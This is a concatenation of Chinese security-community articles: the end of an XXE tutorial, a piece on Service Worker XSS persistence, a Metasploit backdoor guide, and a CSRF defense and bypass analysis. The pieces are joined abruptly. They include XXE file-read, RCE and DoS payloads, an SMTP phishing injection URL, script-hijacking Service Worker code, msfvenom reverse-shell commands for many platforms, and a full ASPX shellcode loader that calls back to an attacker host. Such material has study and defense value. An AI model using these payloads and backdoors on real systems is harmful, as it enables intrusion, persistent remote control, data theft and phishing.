self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
这个服务器的目的就是接受客户端的请求，然后向客户端发送一个我们运行时就传入的参数指定的文件，但是还没完，实际上我在这里加了一个
sleep(30)，这个的目的我后面再说
既然是文件上传，那我们又要回到 jar 协议解析文件的过程中了
> **jar 协议处理文件的过程：**
>
> (1) 下载 jar/zip 文件到临时文件中
> (2) 提取出我们指定的文件
> (3) 删除临时文件
那我们怎么找到这个临时的文件夹呢？不用想，肯定是通过报错的形式展现，如果我们请求的
jar:http://localhost:9999/jar.zip!/1.php
1.php 在这个 jar.zip 中没有的话，java 解析器就会报错，说在这个临时文件中找不到这个文件
**如下图：**
既然找到了临时文件的路径，我们就要考虑怎么使用这个文件了（或者说怎么让这个文件能更长时间的停留在我们的系统之中，我想到的方式就是sleep()）但是还有一个问题，因为我们要利用的时候肯定是在文件没有完全传输成果的时候，因此为了文件的完整性，我考虑在传输前就使用
hex 编辑器在文件末尾添加垃圾字符，这样就能完美的解决这个问题
**下面是我的实验录屏：**
实验就到这一步了，怎么利用就看各位大佬的了（坏笑）
我后来在LCTF 2018 出了这样一个 CTF 题目，详细的 wp
可以看我的[这篇文章](http://www.k0rz3n.com/2018/11/19/LCTF%202018%20T4lk%201s%20ch34p,sh0w%20m3%20the%20sh31l%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90/)
### **实验七：钓鱼：**
如果内网有一台易受攻击的 SMTP 服务器，我们就能利用 ftp:// 协议结合 CRLF
注入向其发送任意命令，也就是可以指定其发送任意邮件给任意人，这样就伪造了信息源，造成钓鱼（一下实例来自fb 的一篇文章 ）
Java支持在sun.net.ftp.impl.FtpClient中的ftp
URI。因此，我们可以指定用户名和密码，例如ftp://user:password@host:port/test.txt，FTP客户端将在连接中发送相应的USER命令。
但是如果我们将%0D%0A
(CRLF)添加到URL的user部分的任意位置，我们就可以终止USER命令并向FTP会话中注入一个新的命令，即允许我们向25端口发送任意的SMTP命令：
**示例代码：**
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25
当FTP客户端使用此URL连接时，以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器：
**示例代码：**
ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25
这意味着攻击者可以从从受信任的来源发送钓鱼邮件（例如：帐户重置链接）并绕过垃圾邮件过滤器的检测。除了链接之外，甚至我们也可以发送附件。
### **实验八：其他：**
除了上面实验中的一些常见利用以外还有一些不是很常用或者比较鸡肋的利用方式，为了完整性我在这一节简单的说一下：
#### **1.PHP expect RCE**
由于 PHP 的 expect 并不是默认安装扩展，如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
**示例代码：**
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
#### **2\. 利用 XXE 进行 DOS 攻击**
**示例代码：**
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
## **五、真实的 XXE 出现在哪**
我们刚刚说了那么多，都是只是我们对这个漏洞的理解，但是好像还没说这种漏洞出现在什么地方
如今的 web 时代，是一个前后端分离的时代，有人说 MVC
就是前后端分离，但我觉得这种分离的并不彻底，后端还是要尝试去调用渲染类去控制前端的渲染，我所说的前后端分离是，后端 api
只负责接受约定好要传入的数据，然后经过一系列的黑盒运算，将得到结果以 json 格式返回给前端，前端只负责坐享其成，拿到数据json.decode
就行了（这里的后端可以是后台代码，也可以是外部的api 接口，这里的前端可以是传统意义的前端，也可以是后台代码）
那么问题经常就出现在 api 接口能解析客户端传过来的 xml 代码，并且直接外部实体的引用，比如下面这个
### **实例一：模拟情况**
**示例代码：**
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>
我们发出 带有 xml 的 POST 请求以后，述代码将交由服务器的XML处理器解析。代码被解释并返回：{“Request Successful”:
“Added!”}
但是如果我们传入一个恶意的代码
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
如果没有做好“安全措施” 就会出现解析恶意代码的情况，就会有下面的返回
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
### **实例二：微信支付的 XXE**
前一阵子非常火的微信支付的 XXE 漏洞当然不得不提，
**漏洞描述：**
微信支付提供了一个 api 接口，供商家接收异步支付结果，微信支付所用的java
sdk在处理结果时可能触发一个XXE漏洞，攻击者可以向这个接口发送构造恶意payloads,获取商家服务器上的任何信息，一旦攻击者获得了敏感的数据
(md5-key and merchant-Id etc.)，他可能通过发送伪造的信息不用花钱就购买商家任意物品
我下载了 java 版本的 sdk 进行分析，这个 sdk 提供了一个 WXPayUtil
工具类，该类中实现了xmltoMap和maptoXml这两个方法，而这次的微信支付的xxe漏洞爆发点就在xmltoMap方法中
**如图所示：**
问题就出现在我横线划出来的那部分，也就是简化为下面的代码：
public static Map<String, String> xmlToMap(String strXML) throws Exception {
try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
...
我们可以看到 当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了，而不巧的是 strXML
是一处攻击者可控的参数，于是就出现了 XXE 漏洞，下面是我实验的步骤
首先我在 com 包下又新建了一个包，来写我们的测试代码，测试代码我命名为 test001.java
**如图所示：**
**test001.java**
package com.test.test001;
import java.util.Map;
import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;
public class test001 {
public static void main(String args[]) throws Exception {
String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +
"<!DOCTYPE XDSEC [\r\n" +
"<!ENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" +
"<XDSEC>\r\n"+
"<XXE>&xxe;</XXE>\r\n" +
"</XDSEC>";
try{
Map<String,String> test = xmlToMap(xmlStr);
System.out.println(test);
}catch (Exception e){
e.printStackTrace();
}
}
}
我希望它能读取我 D 盘下面的 1.txt 文件
运行后成功读取
**如图所示：**
当然，WXPayXmlUtil.java 中有这个 sdk 的配置项，能直接决定实验的效果，当然后期的修复也是针对这里面进行修复的
http://apache.org/xml/features/disallow-doctype-decl true
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities false
http://xml.org/sax/features/external-parameter-entities false
整个源码我打包好了已经上传到我的百度云，有兴趣的童鞋可以运行一下感受：
> 链接：<https://pan.baidu.com/s/1YbCO2cZpzZS1mWd7Mes4Qw> 提取码：xq1b
上面说过 java 中有一个 netdoc:/ 协议能代替 file:/// ,我现在来演示一下：
**如图所示：**
### **实例三：JSON content-type XXE**
正如我们所知道的，很多web和移动应用都基于客户端-服务器交互模式的web通信服务。不管是SOAP还是RESTful，一般对于web服务来说，最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式，但服务器却可以接受开发人员并没有预料到的其他数据格式，这就有可能会导致JSON节点受到XXE（XML外部实体）攻击
#### **原始请求和响应：**
**HTTP Request:**
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
**HTTP Response:**
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml
#### **进一步请求和响应：**
**HTTP Request:**
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
**HTTP Response:**
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的，于是我们就可以利用这个来进行攻击
#### **最终的请求和响应：**
**HTTP Request:**
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
**HTTP Response:**
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
## **六、XXE 如何防御**
### **方案一：使用语言中推荐的禁用外部实体的方法**
**PHP：**
libxml_disable_entity_loader(true);
**JAVA:**
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
**Python：**
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
### **方案二：手动黑名单过滤(不推荐)**
过滤关键词：
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
## **七、总结**
对 XXE 漏洞做了一个重新的认识，对其中一些细节问题做了对应的实战测试，重点在于 netdoc 的利用和 jar 协议的利用，这个 jar
协议的使用很神奇，网上的资料也比较少，我测试也花了很长的时间，希望有真实的案例能出现，利用方式还需要各位大师傅们的努力挖掘。
你的知识面，决定着你的攻击面。
## 参考：
<https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection>
<http://www.freebuf.com/column/156863.html>
<http://www.freebuf.com/vuls/154415.html>
<https://xz.aliyun.com/t/2426>
<http://www.freebuf.com/articles/web/177979.html>
<http://www.freebuf.com/articles/web/126788.html>
<https://www.anquanke.com/post/id/86075>
<http://blog.nsfocus.net/xml-dtd-xxe/>
<http://www.freebuf.com/vuls/176837.html>
<https://xz.aliyun.com/t/2448>
<http://www.freebuf.com/articles/web/97833.html>
<https://xz.aliyun.com/t/2249>
<https://www.secpulse.com/archives/6256.html>
<https://blog.netspi.com/playing-content-type-xxe-json-endpoints/>
<https://xz.aliyun.com/t/122>
<https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/>
<https://blog.csdn.net/u012991692/article/details/80866826>
<https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html> | 社区文章 |
来源：http://www.mottoin.com/95058.html
作者： **长短短**
## 0x01 前言
今天给大家介绍一项新的浏览器技术：Service Workers，以及在 XSS 攻击中的利用方式。
在利用 XSS 进行攻击的过程中经常会遇到一个问题，就是目标触发一次 XSS
水坑之后就不再触发了，但窃取到的信息并不足以进行下一步攻击，这时候我们就需要「持久化 XSS」的技术。在过去有很多种方式来提高 XSS 在线时间，如
opener hijack、link hijack、HTTP cache hijack，前两项的提升有限，后一项要求较高需要 CRLF Inject
来完成。
Service Workers 全局请求拦截技术让我们可以用 JS 代码来拦截浏览器当前域的 HTTP 请求，并设置缓存的文件，直接返回，不经过 web
服务器，使目标只要在线就可以被我们控制。当然，由于这项技术能量太大，所以在设计的时候对他做了一定的约束：只在 HTTPS
下工作，安装ServiceWorker的脚本需要当前域下，且返回的 content-type 包含 /javascript。
了解 ServiceWorker 最快的办法是在 Chrome 下打开 chrome://serviceworker-internals，如下图：
nstallation Status 表示是否被激活，Script 是我们安装的脚本。
在攻击的时候我们的安装脚本通常是使用 JSONP 接口来完成，如：
[https://target.com/user/xxx?callback=.get('//html5sec.org/test.js'))
通过这种方式来完成 ServiceWorker 的安装要求。Payload 中用到的 trick 是 jQuery.get 函数会自动将返回头
content-type 为 */javascript 的资源作为 JS 代码执行。
## 0x02 安装
安装方式：
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/user/xxx?callback=alert(1)')
.then(function(registration) {
console.log('ServiceWorker registration successful with scope: ', registration.scope);
})
};
安装之后可以通过开发者工具查看是否成功：
1. 进入 chrome://flags 开启 ‘Enable DevTools Experiments’.
2. 打开DevTools， 进入 Setting > Experiments , 连续按shift键6下
3. 在DevTools的Resources页面里就能看到刚被开启的隐藏功能：
如果安装脚本出现错误则会显示：
## 0x03 攻击思路
安装好之后，现在应该考虑如何植入攻击脚本？
在编写攻击脚本之前我们需要先了解一个浏览器技术的概念叫：Web Worker。
> 「Web Worker 是HTML5标准的一部分，这一规范定义了一套 API，它允许一段JavaScript程序运行在主线程之外的另外一个线程中。Web
> Worker 规范中定义了两类工作线程，分别是专用线程Dedicated Worker和共享线程 Shared Worker，其中，Dedicated
> Worker只能为一个页面所使用，而Shared Worker则可以被多个页面所共享。」
ServiceWorker 的脚本在后台运行过程中用的就是 Worker，这里我不多介绍 Worker 的用法，但我们需要知道 Worker 的一些限制。
在 worker 线程中，可以获得下列对象
* navigator对象
* location对象，只读
* XMLHttpRequest对象
* setTimeout/setInterval方法
* Application Cache
* 通过importScripts()方法加载其他脚本
* 创建新的Web Worker
Worker 线程不能获得下列对象
* DOM对象
* window对象
* document对象
* parent对象
上述的规范，限制了在worker线程中获得主线程页面相关对象的能力，所以在worker线程中，不能进行dom元素的更新。也就是说在 Worker
的作用域中我们难以完成 XSS 攻击，所以还是得通过劫持站内的 JS 来完成攻击。
当 Service Worker 安装成功，并且用户浏览了另一个页面或刷新当前页面后，Service Worker 开始接收 fetch
事件，也就是感染脚本，我把它命名为 swhihack.js。
首先是监听 fetch 事件：
self.addEventListener('fetch', function(event) {
//worker context
});
将 response 进行缓存：
function requestBackend(event){
var url = event.request.clone();
if(url=='xxxxxx'){//判断是否为需要劫持的资源
url.url='//html5sec.org/test.js';
}
return fetch(url).then(function(res){
//检测是否为有效响应
if(!res || res.status !== 200 || res.type !== 'basic'){
return res;
}
var response = res.clone();
caches.open(CACHE_VERSION).then(function(cache){
cache.put(event.request, response);
});
return res;
})
}
完工：
self.addEventListener('fetch', function (event) {
event.respondWith(
caches.match(event.request).then(function(res){
if(res){//如果有缓存则使用缓存
return res;
}
return requestBackend(event);//没缓存就进行缓存
})
)
});
### 二向箔安全微信公众号
* * * | 社区文章 |
攻击机：192.168.85.130
目标机win7：192.168.85.131
**Persistence后门**
* * *
使用此方法建议运行前关闭杀毒软件
Run post/windows/manage/killav
输入run persistence -S -U -X -i 5 -p 6666 -r 192.168.85.130创建一个持久性的后门。
参数解释如下：
> -A 自动启动一个匹配的漏洞/多/处理程序来连接到代理
> -L 如果不使用%TEMP%，则选择目标主机中写入有效负载的>位置。
> -P 有效载荷使用，默认是windows/meterpreter/reverse_tcp。
> -S 在启动时自动启动代理作为服务(具有系统特权)
> -T 选择要使用的可执行模板
> -U 用户登录时自动启动代理
> -X 在系统启动时自动启动代理
> -h 这个帮助菜单
> -i 每次连接尝试之间的间隔(以秒为单位)
> -p 运行Metasploit的系统正在监听的端口
> -r 运行Metasploit的系统的IP监听连接返回
可以发现在目标机C:\Windows\TEMP下创建了一个QeVoiKqW.vbs文件
后使用以下命令设置监听
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.85.130
> set lport 6666
> run
即可看见已经建立了连接，
持久后门已经创建成功。
**Meterpreter 后门**
* * *
* 通过msfvenom工具制作PHP Meterpreter
* 生成的shuteer.php如图所示。
* 然后将shuteer.php上传到目标服务器。
* 设置监听
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.85.130
> set lport 6666
> run
* 然后打开/xxx/xxx/shuteer.php文件
即可看见已经建立了连接，
后门已经创建成功
**通过msfvenom工具制作exe Meterpreter**
* * *
可以看见创建了一个test.exe文件
然后使用各种方法，将其放入目标机下运行。
一样的设置监听。
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.85.130
> run
后门建立成功。
生成其他格式的木马。
安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -o ~/Desktop/test2.apk
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f macho > shell.macho
PHP：
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f asp > shell.asp
ASPX：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.85.130 LPORT=6666 -f raw > shell.jsp
Bash：
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.85.130 LPORT=6666 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.85.130 LPORT=6666 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.85.130 LPORT=6666 -f raw > shell.py
**Aspx meterpreter后门**
* * *
使用以下命令调用模块
> use windows/shell_reverse_tcp
> set lhost 192.168.85.130
> set lport 4444
后使用generate -h 查看帮助
使用generate -t aspx
生成aspx版的·shellcode
生成的内容保存为test.aspx,后上传到服务器。
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
protected void Page_Load(object sender, EventArgs e)
{
byte[] kO5ZWrqTUQK = new byte[324] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,
0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,
0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,
0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,
0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x55,0x82,0x68,0x02,0x00,0x11,0x5c,0x89,
0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,
0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x00,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,
0x3c,0x01,0x01,0x8d,0x44,0x24,0x10,0xc6,0x00,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,
0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,
0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5 };
IntPtr nQcMoqDC = VirtualAlloc(IntPtr.Zero,(UIntPtr)kO5ZWrqTUQK.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(kO5ZWrqTUQK,0,nQcMoqDC,kO5ZWrqTUQK.Length);
IntPtr cwFgqH = IntPtr.Zero;
IntPtr bVttlgPyy = CreateThread(IntPtr.Zero,UIntPtr.Zero,nQcMoqDC,IntPtr.Zero,0,ref cwFgqH);
}
</script>
设置监听
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.85.130
> set lport 6666
> run
接着在网站上访问test.aspx的文件.发现服务端反弹成功 | 社区文章 |
原文地址：<https://www.cdxy.me/?p=736>
## 防御机制
目前主流CSRF的防御思路可总结为： **在用户携带的信息(Cookie)之外置入token并在服务端检验，该token要满足一次性、随机性**
主流Python后端框架(Flask/Django/Tornado)使用Session/Cookie-Form的验证机制避免CSRF。
Flask官方文档给出的解决方案(Session-Form)：
服务端生成_csrf_token并置入用户Session和Form。用户提交Form之后，服务端对比Form中的_csrf_token字段和Session中是否相同，相同则通过，否则返回403。
@app.before_request
def csrf_protect():
if request.method == "POST":
token = session.pop('_csrf_token', None)
if not token or token != request.form.get('_csrf_token'):
abort(403)
def generate_csrf_token():
if '_csrf_token' not in session:
session['_csrf_token'] = some_random_string()
return session['_csrf_token']
app.jinja_env.globals['csrf_token'] = generate_csrf_token
## 攻击面
我想到的点：
1. 策略没覆盖到. (GET, json)
2. 修改(覆盖)Cookie中存储的token. (XSS, CRLF)
3. 算法角度预测到用户token.
4. 让策略失效.(关闭或打断CSRF检验机制的运行)
#### 修改用户Cookie造成CSRF
1 鸡肋XSS达不到httponly的Cookie时，可以试试做CSRF:
[知乎某处XSS+刷粉超详细漏洞技术分析](https://www.leavesongs.com/HTML/zhihu-xss-worm.html)
2 利用Python-cookie解析漏洞篡改token:
[(CVE-2016-7401) CSRF protection bypass on any Django powered site via Google
Analytics](https://hackerone.com/reports/26647)
当添加的Cookie中存在`]`符号时，解析器会以该符号分隔带入新的字段。
>>> from http import cookies
>>> C = cookies.SimpleCookie()
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: csrftoken='x'>
这样我们就可以在添加Cookie时，伪造出一个`csrftoken`字段的值，并与Form中设为相同，这样后端对比通过，做成CSRF.
3 请求头注入，如`CRLF-injection`、`overflow`等。
[(Twitter demo)HTTP Response Splitting with Header
Overflow](http://blog.innerht.ml/page/7/)
#### 策略之外
使用`GET`方法时的原则是—— **让GET只负责“读取”资源的操作**
实际开发中问题往往出在一些简单按钮的功能，如“删除”、“回收”、“置顶”、“清除缓存”等功能，很容易通过GET完成。这直接导致了CSRF的隐患。
使用其他的HTTP方法同样存在该问题，一般来说对`GET/HEAD/OPTIONS/TRACE`无需检验，具体请参考各框架及插件文档。
此外，`ajax-json`也是也是容易被忽略的点。
针对这个点Flask和Django都给出了解决方案，或者放在请求头中也可：
Flask-WTF:
> If you need to send the token via AJAX, and there is no form:
>
> `<meta name="csrf_token" content="{{ csrf_token() }}" />`
>
> You can grab the csrf token with JavaScript, and send the token together.
Django Document
> While the above method can be used for AJAX POST requests, it has some
> inconveniences: you have to remember to pass the CSRF token in as POST data
> with every POST request. For this reason, there is an alternative method: on
> each XMLHttpRequest, set a custom X-CSRFToken header to the value of the
> CSRF token. This is often easier, because many JavaScript frameworks provide
> hooks that allow headers to be set on every request.
#### 开发者的疏忽
开发者并未开启全局CSRF防御策略，而是进行单个view的控制(如`@csrf_protect`)，这样未免会有遗漏的情况。
#### 是否可预测、可绕过？
Flask-WTF处理CSRF的关键逻辑在`python2.7/site-packages/flask_wtf/csrf.py`，这个文件相当于Session-Form防御思路的完整实现。
这里给出Flask-WTF token生成函数源码：
def generate_csrf(secret_key=None, time_limit=None, token_key='csrf_token', url_safe=False):
"""Generate csrf token code.
:param secret_key: A secret key for mixing in the token,
default is Flask.secret_key.
:param time_limit: Token valid in the time limit,
default is 3600s.
"""
if not secret_key:
secret_key = current_app.config.get(
'WTF_CSRF_SECRET_KEY', current_app.secret_key
)
if not secret_key:
raise Exception('Must provide secret_key to use csrf.')
if time_limit is None:
time_limit = current_app.config.get('WTF_CSRF_TIME_LIMIT', 3600)
if token_key not in session:
session[token_key] = hashlib.sha1(os.urandom(64)).hexdigest()
if time_limit:
expires = int(time.time() + time_limit)
csrf_build = '%s%s' % (session[token_key], expires)
else:
expires = ''
csrf_build = session[token_key]
hmac_csrf = hmac.new(
to_bytes(secret_key),
to_bytes(csrf_build),
digestmod=hashlib.sha1
).hexdigest()
delimiter = '--' if url_safe else '##'
return '%s%s%s' % (expires, delimiter, hmac_csrf)
采用了HMAC算法，hash算法是SHA1，本人水平有限，无法评估其缺陷。
至于这个算法的优点摘抄如下：
[What does this “_time_independent_equals”
mean?](http://stackoverflow.com/questions/3027286/what-does-this-time-independent-equals-mean)
> That function does not simply compare the strings, it tries to always take
> the same amount of time to execute.
>
> This is useful for security tasks like comparing passwords. If the function
> returned on the first mismatching byte, an attacker could try all possible
> first bytes and know that the one that takes longest is a match. Then they
> could try all possible second bytes and know that the one that takes longest
> is a match. This can be repeated until the entire string is deduced. (In
> reality you have to do a lot of averaging to overcome random delays in the
> network, but it works if you are patient.) | 社区文章 |
# Sodinokibi（REvil）勒索病毒最新变种攻击Linux平台
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
